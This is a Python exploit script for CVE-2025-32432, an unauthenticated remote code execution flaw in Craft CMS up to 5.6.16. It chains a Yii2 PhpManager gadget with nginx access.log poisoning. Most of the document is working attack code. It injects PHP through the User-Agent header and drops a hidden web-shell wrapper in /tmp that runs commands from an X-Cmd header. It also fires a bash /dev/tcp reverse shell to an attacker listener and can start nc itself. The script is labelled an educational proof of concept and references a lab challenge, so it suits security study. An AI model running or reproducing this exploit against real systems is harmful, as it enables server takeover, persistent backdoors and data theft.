exploit.py

#!/usr/bin/env python3
"""
CVE-2025-32432 - Craft CMS <= 5.6.16 Unauthenticated RCE PoC.

Exploits AssetsController::actionGenerateTransform which spreads the
user-controlled `handle` parameter into Craft::createObject(). The
spread allows injecting an `as <name>` key that, via yii\\base\\Component::__set,
triggers Yii::createObject() on an attacker-controlled class config
before any type validation.

Gadget: yii\\rbac\\PhpManager. Its init() calls load() which calls
loadFromFile($this->itemFile). loadFromFile does `require $file`,
parsing any file on disk as PHP. Attacker chains nginx access.log
poisoning (User-Agent reflected in log) to plant a PHP block, then
points itemFile at /var/log/nginx/access.log.

Vulnerable: Craft CMS <= 5.6.16 (Yii2 Component.php without Behavior
subclass check, e.g. yii2 2.0.49).

Patched in:
  - Craft CMS 5.6.17 (validates ImageTransformerInterface).
  - Yii2 2.0.50 (validates Behavior subclass in Component::__set).

References:
  - https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  - https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
  - https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
  - https://nvd.nist.gov/vuln/detail/CVE-2025-32432

Educational PoC. Use only against systems you own or are authorized
to test. Author disclaims all liability.
"""

import argparse
import re
import sys
import time
from urllib.parse import urlparse

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

session = requests.Session()
session.verify = False

DEFAULT_UA = "CVE-2025-32432-PoC/1.0"


def log(msg, level="*"):
    print(f"[{level}] {msg}", file=sys.stderr)


def chr_encode(s):
    """Encode arbitrary string as chr(N).chr(N)... so payload contains
    no double-quote characters (nginx escapes those to \\x22, which
    breaks PHP parsing of the log line)."""
    return ".".join(f"chr({ord(c)})" for c in s)


def lab_unlock(base):
    """For hacklab-platform carangueijada-20: PATCH /login returns a
    coopsess cookie that gates the /x9k4m2nf0y7p3q/ prefix."""
    log("Lab mode: PATCH /login to obtain coopsess cookie")
    r = session.request("PATCH", f"{base}/login", allow_redirects=False,
                        headers={"User-Agent": DEFAULT_UA})
    if "coopsess" not in r.cookies:
        log(f"PATCH /login returned status={r.status_code}; no coopsess cookie", "-")
        sys.exit(1)
    log(f"    coopsess cookie acquired")


def get_csrf(target):
    log(f"Fetching CSRF token from {target}/actions/users/session-info")
    r = session.get(
        f"{target}/actions/users/session-info",
        headers={"Accept": "application/json", "User-Agent": DEFAULT_UA},
    )
    if r.status_code == 403:
        log(f"session-info returned 403 Forbidden.", "-")
        log("The target gates Craft behind an auth layer (cookie, IP,", "-")
        log("Basic auth, etc). For the hacklab-platform carangueijada-20", "-")
        log("challenge, rerun with --lab to handshake PATCH /login first.", "-")
        sys.exit(1)
    try:
        csrf = r.json().get("csrfTokenValue")
    except Exception:
        log(f"session-info returned non-JSON (status={r.status_code})", "-")
        log("If the body is HTML, your URL probably points at a different", "-")
        log("app or your path prefix is wrong. Try `-p /admin` or check", "-")
        log("where the CP is mounted.", "-")
        sys.exit(1)
    if not csrf:
        log("no csrfTokenValue in response", "-")
        sys.exit(1)
    log(f"    CSRF: {csrf[:40]}...")
    return csrf


def poison(target, php_payload):
    """Plant a PHP block in nginx access.log via User-Agent header.

    Constraints:
      - nginx escapes double quotes (\") to \\x22 in the combined log
        format, which breaks PHP syntax. Use single quotes or chr().
      - Use `exit;` at the end so the `require` aborts after our block
        instead of parsing later log lines that may be malformed.
    """
    log(f"Poisoning access.log via User-Agent (len={len(php_payload)})")
    r = session.get(f"{target}/", headers={"User-Agent": php_payload})
    log(f"    poison request -> HTTP {r.status_code}")


def trigger(target, csrf, asset_id, item_file, extra_headers=None):
    log(f"Triggering gadget (assetId={asset_id} itemFile={item_file})")
    data = [
        ("CRAFT_CSRF_TOKEN", csrf),
        ("assetId", str(asset_id)),
        ("handle[width]", "1"),
        ("handle[height]", "1"),
        ("handle[as gadget][class]", "yii\\rbac\\PhpManager"),
        ("handle[as gadget][itemFile]", item_file),
    ]
    headers = {"User-Agent": DEFAULT_UA}
    if extra_headers:
        headers.update(extra_headers)
    r = session.post(
        f"{target}/actions/assets/generate-transform",
        data=data,
        headers=headers,
        allow_redirects=False,
    )
    log(f"    HTTP {r.status_code}")
    return r


def extract_rce_output(body, marker_start, marker_end=None):
    """The response body contains the access.log dumped by `require`,
    with our PHP block's stdout replacing the `<?php ... ?>` text.

    Strategy:
      1. Try to find output between our markers (clean path).
      2. If markers absent, the log was probably polluted by an older
         poison whose `exit;` aborted parsing before our block. Look
         for the truncation point at the end of body, where the parser
         stopped mid-line, and return whatever non-log text appears
         right before truncation.
    """
    m = re.search(
        re.escape(marker_start) + r"(.*?)" + re.escape(marker_end),
        body, re.DOTALL,
    )
    if m:
        return m.group(1).strip()
    return None


def extract_fallback_output(body):
    """When markers are missing, recover the older payload's stdout.

    The body is `access.log` echoed by `require`. The old polluting
    block looks like a single log line whose User-Agent column starts
    with `<?php ... ?>`. When PHP hits that block, it runs and `exit;`
    truncates the body mid-line. So the last few lines look like:

        127.0.0.1 - - [...] "GET / HTTP/1.1" 200 6327 "-" "<OUTPUT_OF_OLD_CMD>

    Detect that pattern: a log-line prefix followed by a `"` opener
    that never closes. The text after the last unmatched `"` is the
    RCE output."""
    tail = body[-4096:]
    # Find the truncation: last `"` followed by content but no closing `"`.
    last_quote = tail.rfind('"')
    if last_quote == -1:
        return None
    after = tail[last_quote + 1:]
    # If there is any further `"` in `after`, the block wasn't truncated
    # here; not our pattern.
    if '"' in after:
        # Probably just normal log content; nothing to extract.
        return None
    if not after.strip():
        return None
    return after.strip()


def build_payload(cmd, marker_start, marker_end):
    """Build the User-Agent PHP payload that executes `cmd` between
    markers and exits. No double-quote characters are emitted."""
    full = f"{marker_start}{cmd};{marker_end}"
    return (
        "<?php echo " + chr_encode(marker_start) + ";"
        " system(" + chr_encode(cmd) + ");"
        " echo " + chr_encode(marker_end) + ";"
        " exit; ?>"
    )


WRAPPER_PATH = "/tmp/.cve32432_w.php"

# Wrapper PHP source. Single quotes only (no double quotes), so the
# encoded form fits inside a User-Agent without being mangled by nginx
# log escaping. The wrapper reads HTTP_X_CMD, prints markers around
# its output, and exits.
WRAPPER_PHP = (
    "<?php "
    "$m='===CVE2025-32432-OUT===';"
    "$e='===CVE2025-32432-END===';"
    "if(isset($_SERVER['HTTP_X_CMD'])){"
    "echo $m;"
    "system($_SERVER['HTTP_X_CMD']);"
    "echo $e;"
    "}"
    "exit;"
    "?>"
)


def try_wrapper(target, csrf, asset_id, cmd, marker_start, marker_end):
    """Call the gadget pointing itemFile at the wrapper. If the wrapper
    is present, it reads the X-Cmd header and prints marked output."""
    r = trigger(target, csrf, asset_id, WRAPPER_PATH, extra_headers={"X-Cmd": cmd})
    return extract_rce_output(r.text, marker_start, marker_end), r


def drop_wrapper_and_run(target, csrf, asset_id, cmd, marker_start, marker_end):
    """Drop the wrapper to disk and execute the user's command in a
    single poisoning round. Requires the access.log to be clean of
    older `<?php ... exit; ?>` blocks (otherwise the older block wins
    and the wrapper is never written)."""
    log(f"Wrapper missing; dropping to {WRAPPER_PATH} via log poisoning")
    # PHP payload (no double quotes): writes WRAPPER_PHP to disk then
    # runs the user's command between markers, then exits.
    payload = (
        "<?php "
        "file_put_contents(" + chr_encode(WRAPPER_PATH) + ", "
        + chr_encode(WRAPPER_PHP) + ");"
        " echo " + chr_encode(marker_start) + ";"
        " system(" + chr_encode(cmd) + ");"
        " echo " + chr_encode(marker_end) + ";"
        " exit; ?>"
    )
    poison(target, payload)
    r = trigger(target, csrf, asset_id, "/var/log/nginx/access.log")
    return extract_rce_output(r.text, marker_start, marker_end), r


def run(target, cmd, asset_id, item_file, lab_base=None):
    if lab_base:
        lab_unlock(lab_base)
    csrf = get_csrf(target)
    marker_start = "===CVE2025-32432-OUT==="
    marker_end = "===CVE2025-32432-END==="

    # Strategy:
    #   1. Try the wrapper at WRAPPER_PATH. Idempotent, log-poisoning-free.
    #      Works on every call after the first successful drop.
    #   2. If wrapper not present, drop it via a one-shot log poisoning
    #      that also runs the user's command on the same dispatch.
    #   3. If even the drop fails (log polluted by older `exit;` block),
    #      fall back to tail extraction and explain.
    #
    # If the user explicitly overrode --item-file, skip wrapper and use
    # that path directly with classic log poisoning behavior.
    use_wrapper = item_file == "/var/log/nginx/access.log"

    if use_wrapper:
        log("Probing for existing wrapper at " + WRAPPER_PATH)
        out, r = try_wrapper(target, csrf, asset_id, cmd, marker_start, marker_end)
        if out is not None:
            print(out)
            return
        out, r = drop_wrapper_and_run(target, csrf, asset_id, cmd,
                                      marker_start, marker_end)
        if out is not None:
            log("Wrapper dropped successfully; future calls will be idempotent")
            print(out)
            return
    else:
        log(f"Classic mode (itemFile={item_file})")
        payload = build_payload(cmd, marker_start, marker_end)
        poison(target, payload)
        r = trigger(target, csrf, asset_id, item_file)
        out = extract_rce_output(r.text, marker_start, marker_end)
        if out is not None:
            print(out)
            return

    if r.status_code == 400 and "verificar" in r.text.lower():
        log("HTTP 400 'verify your data submission' -> CSRF/cookie mismatch.", "!")

    # Last-resort fallback: return stale output from a stuck poison.
    fb = extract_fallback_output(r.text)
    if fb:
        log("Markers not found; log is polluted by an older `<?php ... exit; ?>`", "!")
        log("block that runs before the wrapper drop can fire.", "!")
        log("Fallback output below comes from the OLDER payload (stale).", "!")
        log("Fix: rotate access.log on the target, or reset the environment.", "!")
        print("--- fallback output (stale) ---")
        print(fb)
        return

    log("No output recovered.", "!")
    log("Possible causes:", "!")
    log("  - access.log polluted; older `exit;` block wins and aborts parsing", "!")
    log("    before the wrapper drop fires. Rotate the log or reset env.", "!")
    log("  - assetId does not exist on this Craft install.", "!")
    log("  - target is patched (Craft >= 5.6.17 or Yii2 >= 2.0.50).", "!")
    sys.exit(2)


def main():
    ap = argparse.ArgumentParser(
        prog="exploit.py",
        description=(
            "PoC for CVE-2025-32432 (Craft CMS <= 5.6.16 unauth RCE)."
            " Uses Yii2 PhpManager gadget + nginx access.log poisoning."
        ),
        epilog=(
            "Examples:\n"
            "  Vanilla Craft 5.6.16 at http://victim.tld:\n"
            "    exploit.py -u http://victim.tld -c id\n"
            "\n"
            "  hacklab-platform carangueijada-20 (lab challenge):\n"
            "    exploit.py --lab -u http://www.carangueijada.coop:3230 \\\n"
            "               -p /x9k4m2nf0y7p3q -c 'id; uname -a'\n"
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    ap.add_argument("-u", "--url", required=True,
                    help="Base URL of target (no path). Example: http://victim.tld")
    ap.add_argument("-p", "--prefix", default="",
                    help="Path prefix where Craft is mounted (default: '').")
    ap.add_argument("-c", "--cmd",
                    help="Shell command to run via RCE."
                         " Required unless --revshell is set.")
    ap.add_argument("-a", "--asset-id", type=int, default=2,
                    help="Asset ID to use as transform target (default: 2).")
    ap.add_argument("-i", "--item-file", default="/var/log/nginx/access.log",
                    help="Path the gadget requires (default: nginx access.log).")
    ap.add_argument("--lab", action="store_true",
                    help="Enable lab mode (PATCH /login for coopsess cookie).")
    ap.add_argument("--revshell", action="store_true",
                    help="Reverse-shell mode. Requires --lhost and --lport."
                         " Spawns bash connect-back to the listener.")
    ap.add_argument("--lhost",
                    help="Listener IP for --revshell (your machine).")
    ap.add_argument("--lport", type=int,
                    help="Listener TCP port for --revshell.")
    ap.add_argument("--auto-listen", action="store_true",
                    help="Spawn a local `nc` listener on --lport before"
                         " firing the reverse shell. Foreground; Ctrl+C to exit.")
    args = ap.parse_args()

    if args.revshell:
        if not args.lhost or not args.lport:
            ap.error("--revshell requires --lhost and --lport")
        # bash + /dev/tcp avoids needing nc on the target. Backgrounded
        # so the gadget POST returns quickly while the shell stays alive.
        args.cmd = (
            f"bash -c 'exec bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1' "
            f"</dev/null >/dev/null 2>&1 &"
        )
    elif not args.cmd:
        ap.error("either -c CMD or --revshell --lhost L --lport P is required")

    # Accept URLs with the prefix baked in (-u http://host/prefix) and
    # split them automatically. This is what users naturally type.
    raw = args.url.rstrip("/")
    parsed = urlparse(raw)
    base = f"{parsed.scheme}://{parsed.netloc}"
    url_path = parsed.path.rstrip("/")
    prefix = args.prefix.rstrip("/") if args.prefix else url_path
    if args.prefix and url_path and url_path != args.prefix.rstrip("/"):
        log(f"URL path '{url_path}' overridden by -p '{args.prefix}'", "!")
    target = base + prefix

    if args.lab and not prefix:
        log("--lab usually needs -p /x9k4m2nf0y7p3q for carangueijada-20", "!")

    listener_proc = None
    if args.revshell and args.auto_listen:
        listener_proc = spawn_listener(args.lport)

    if args.revshell:
        log(f"Reverse shell payload -> {args.lhost}:{args.lport}")
        if not args.auto_listen:
            log(f"On YOUR machine run first: nc -lvnp {args.lport}", "!")
        log(f"Firing in 3s (give your listener time to bind)...")
        import time as _t
        _t.sleep(3)

    try:
        run(
            target=target,
            cmd=args.cmd,
            asset_id=args.asset_id,
            item_file=args.item_file,
            lab_base=base if args.lab else None,
        )
    finally:
        if args.revshell:
            log("Reverse shell fired. The listener (your nc) should now"
                " have an interactive bash from www-data. This exploit"
                " script can be killed; the shell stays alive.")
            if listener_proc is not None:
                log("Local listener still running; press Ctrl+C to exit.")
                try:
                    listener_proc.wait()
                except KeyboardInterrupt:
                    listener_proc.terminate()


def spawn_listener(port):
    """Spawn a local `nc -lvnp <port>` in the foreground. Used by
    --auto-listen so the operator does not need a separate terminal."""
    import shutil
    import subprocess

    nc = shutil.which("nc") or shutil.which("ncat")
    if not nc:
        log("nc/ncat not found in PATH; cannot --auto-listen.", "-")
        log("Start a listener manually: nc -lvnp " + str(port), "-")
        sys.exit(1)
    log(f"Spawning local listener: {nc} -lvnp {port}")
    return subprocess.Popen(
        [nc, "-lvnp", str(port)],
        stdin=sys.stdin,
        stdout=sys.stdout,
        stderr=sys.stderr,
    )


if __name__ == "__main__":
    main()